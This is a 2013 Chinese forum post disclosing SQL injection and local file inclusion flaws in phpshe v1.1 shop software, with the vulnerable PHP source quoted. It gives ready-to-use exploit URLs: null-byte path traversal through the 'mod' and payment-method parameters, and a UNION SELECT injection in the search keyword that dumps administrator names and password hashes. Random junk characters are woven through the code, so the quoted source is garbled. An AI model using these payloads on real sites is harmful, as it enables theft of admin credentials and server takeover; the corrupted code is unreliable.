找回密码
 立即注册
查看: 3161|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
: S6 f  F5 V3 q  R( h1 g3 X/* Phpshe v1.1 Vulnerability# }. b, r  c7 t$ J% N% r4 p
/* ========================
! }. w; f) i! _5 v) m/* By: : Kn1f3
/ {1 G4 h7 ~- `  G/* E-Mail : 681796@qq.com
+ j7 |9 q' f& h, X" v! ?1 \/*******************************************************/
* x/ e1 v$ C0 Y& {0 q$ Z3 ]' @' L0×00 整体大概参数传输
! w2 x% l2 [3 W4 v3 p
; `" h6 _8 a( k* P. p6 N. }
0 b8 j" V/ @8 ?( q

9 S; |% d& @9 b) x& i( R//common.php
( A6 N/ n9 I, S8 q4 G# y! }6 ?if (get_magic_quotes_gpc()) {( a/ e4 r2 v" i4 H! P$ \9 B, d! l
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');: G/ d+ p" }7 e
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
5 i; H4 j) d- P8 k& h4 Z8 H0 d}: ]  K( G' K) }
else {
8 f0 ?" @+ v8 V8 b+ K  s7 T!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
! A6 s. |' _4 V1 r2 f4 w+ h5 J0 z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
; J% d; b# h6 e' a}8 o, M3 N9 r  P$ T' f' k
session_start();1 t# J4 U5 O2 w$ }* e% f! u
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');* A/ f- V$ S1 u% f6 t1 Y
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
. ]$ ?4 N7 W- s8 S# F0 I9 k) ]  \
9 T% @- z5 e! c, e0×01 包含漏洞4 O6 ~" ]) p% f: o
# {, \: x, i+ [7 O- n* w( o! V
+ A  |4 A. }6 b! E
//首页文件& k; F( N: e1 q  W0 I' d5 |6 J
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
$ Z, ~/ L- [+ \* E/ hinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
3 _0 w4 q+ W" V1 o1 ~pe_result();0 P  h6 I+ n( N
?>
9 A+ e% }" S/ U# \% {% A. r  V//common 文件 第15行开始
! A& o7 e: y- G) g" p/ Lurl路由配置
1 q' K9 b1 k% Y$module = $mod = $act = 'index';, A# E' T2 h9 O
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);: Q0 F# n; h4 w' p3 W$ ^& n
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);: Y; T! s2 g) k0 F
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
) n9 w2 i, _& y//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%002 d* `  F/ D  @% U8 w# B) c. i+ ]


7 f+ ?$ v$ X; A . ]. r: U1 \, R3 O
0×02 搜索注入8 i% y" }% R, D: k4 o

" Y+ v/ m; E- {- Z7 z5 P% I<code id="code2">

//product.php文件
* l/ r! ^7 `( y( B5 d% Zcase 'list':
, E' t$ e: X$ N- W! G$category_id = intval($id);
2 e- D8 E$ d" O, A9 u) G- ]$info = $db->pe_select('category', array('category_id'=>$category_id));
/ [0 r- O/ e3 L" x6 i//搜索
& p, U8 F& L' f8 H% A$sqlwhere = " and `product_state` = 1";" A% X- t" t0 a5 B% O: u
pe_lead('hook/category.hook.php');
* g) }! }0 a$ q( O9 Sif ($category_id) {4 J0 r% ]' O0 o6 N& |. c
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
2 e$ n1 [# Q( {& F! ^}
( [& Y( a. y4 i& {- _: A9 _9 D5 S* [$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 {0 Z  M$ Z* Y% H7 l$ rif ($_g_orderby) {4 f' D; r$ H3 j3 N+ |5 T: I" I
$orderby = explode('_', $_g_orderby);. u# i, h% H" _1 {: F
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
2 }! n7 M1 Y: F0 f/ V}. x) ?, T( U" K) W
else {3 s5 j4 K/ T; z" ]3 D  b
$sqlwhere .= " order by `product_id` desc";) K/ C4 b1 _0 ]1 w  ^
}
0 P3 [+ Y: K/ z9 p% ^$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 I; j0 G/ \& t1 t! v' G9 t//热卖排行
  D4 ^2 y: N  Y$product_hotlist = product_hotlist();! c3 w1 w. w  x# F' ~8 M3 q! S
//当前路径
1 f, X& s* _7 H8 \, A% m1 O+ T$nowpath = category_path($category_id);% X$ `4 X0 E% s
$seo = pe_seo($info['category_name']);
$ U! h* X! P% w8 T5 }" }1 [include(pe_tpl('product_list.html'));
0 Q1 T4 s8 Z9 K0 _2 u//跟进selectall函数库
! d7 U' Y; g# i9 Qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
" @# i4 G! H3 W3 a{
2 B- r7 L. `$ B. s& M0 I//处理条件语句
2 v+ H: ^. _7 e$sqlwhere = $this->_dowhere($where);
: j: a, V1 |$ {# @: Hreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);3 a* N! R% M* H& I: ?6 V
}9 R7 i2 |+ N5 M- n: V+ B( c+ M; w
//exp+ U3 l: t0 j1 y1 t, ^2 u5 z
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
" C# u% G* s% \9 F( F1 k

</code>$ {3 r/ D+ l8 N) z2 i. c& Y( b

* [+ R9 {. I2 b# P0×03 包含漏洞2
* T( i3 L: M. i7 f# j2 S 7 ^8 @7 |" J$ A& M. Q' y
<code id="code3">

//order.php

case 'pay':


: E" S. h8 ?; Y4 G2 R$ t3 `0 B. y$order_id = pe_dbhold($_g_id);

, a6 {* F: b" y3 g
$cache_payway = cache::get('payway');


0 J8 S" n. Q8 ~# Y% ^foreach($cache_payway as $k => $v) {

3 w/ d/ M: m$ F
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


( @; F' @, R! a! mif ($k == 'bank') {


. B  f1 ^/ Z$ O# j' r  R6 m7 U$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


7 z0 l8 U: F7 J  K}

1 F( M" {! @! n( {" A6 @7 N
}


# l0 H4 _; z  s$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% s( w8 K0 }/ h" p
!$order['order_id'] && pe_error('订单号错误...');


) r1 \: I$ m# F5 Iif (isset($_p_pesubmit)) {


, u- D9 ]$ x; k8 i/ O/ G- X8 Mif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


' r# {7 `4 G* E! y/ D$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

2 u, O2 I7 S6 a7 S5 v0 b+ B. s
foreach ($info_list as $v) {


+ o; _5 V( F) r/ d: F; A$order['order_name'] .= "{$v['product_name']};";; b( Q( i4 X, t2 q# N

$ t' o% `. B/ |7 G- n( S& k( }6 B
}

  J4 y7 P$ m' j2 T
echo '正在为您连接支付网站,请稍后...';

1 Q8 Y4 x& m8 f0 n9 W" q  N2 X
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

( E# {% U8 @/ D) A& T. _5 H/ x
}//当一切准备好的时候就可以进行"鸡肋包含了"

2 E% r8 W' h8 |% P
else {

+ A) a9 ^6 `2 S* ?; }( S
pe_error('支付错误...');

/ x$ Z1 l+ p5 \7 K* |' p
}

9 P: K7 `1 r8 t9 f2 B0 Y
}

. {/ y0 x2 y; i( _  X) R1 R3 U: h. u
$seo = pe_seo('选择支付方式');

% Y( a' O$ r7 j
include(pe_tpl('order_pay.html'));


& A& p" c! @. K# S" j" jbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
! s; e3 C6 M$ E& z# e

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表